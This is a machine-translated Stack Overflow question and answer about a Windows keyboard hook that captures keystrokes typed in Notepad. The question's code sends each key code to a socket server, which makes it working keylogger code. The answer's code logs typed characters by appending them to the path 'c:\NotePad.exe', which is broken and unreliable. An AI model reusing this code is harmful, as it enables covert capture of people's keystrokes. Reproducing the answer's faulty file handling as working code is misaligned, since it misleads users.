试图挂钩Notepad.exe

时间:2011-12-30 05:07:26

标签: c++ windows hook

我正在尝试使用SetWindowsHookEx键盘钩住Notepad.exe。

如您所见,工作线程正在将其ASCII代码(即wParam)发送到指定的服务器。

UINT WINAPI SendToServer(LPVOID lpParam)
{
    CSocket Client;

    Client.Create();

    Client.Connect("localhost", 6677);
    Client.Send(lpParam, 2); // sending its ASICI code to Server

    Client.Close();

    return 0;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR* p = nullptr;

    if( nCode >= 0 )
    {
        // bit 31 : 0 => press, 1 => release

        if( !(lParam & 0x80000000) )
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);
            p = strrchr(szPath, '\\');

            if( !_stricmp(p + 1, "Notepad.exe") )
            {
                unsigned ThreadID;
                g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

                return 0; 
            }
        }
    }

    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

问题是,由于某些原因与新的工作线程相关,记事本发生了一个严重的错误(如果我多次点击'忽略'按钮,它有点工作。)

我在下面删除了这一行,

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

然后Notepad.exe

没有发生错误

非常感谢任何帮助。

提前致谢。

1 个答案:

答案 0 :(得分:2)

这对你有用吗?硬编码路径仅用于测试目的 更改路径以匹配NotePad.exe所在的位置

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  ofstream fout;
  fout.open("c:\\NotePad.exe",ios::app);

    if (nCode < 0 || nCode != HC_ACTION)
   return CallNextHookEx(hkb, nCode, wParam, lParam);


    if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
  {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
        {
      if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ??
            {
        BYTE ks[256];
        GetKeyboardState(ks);

        WORD w;
        UINT scan=0;
        ToAscii(wParam,scan,ks,&w,0);
        fout<<char(w);
            }
        }
    }

     fout.close();

  return CallNextHookEx(hkb, nCode, wParam, lParam);
}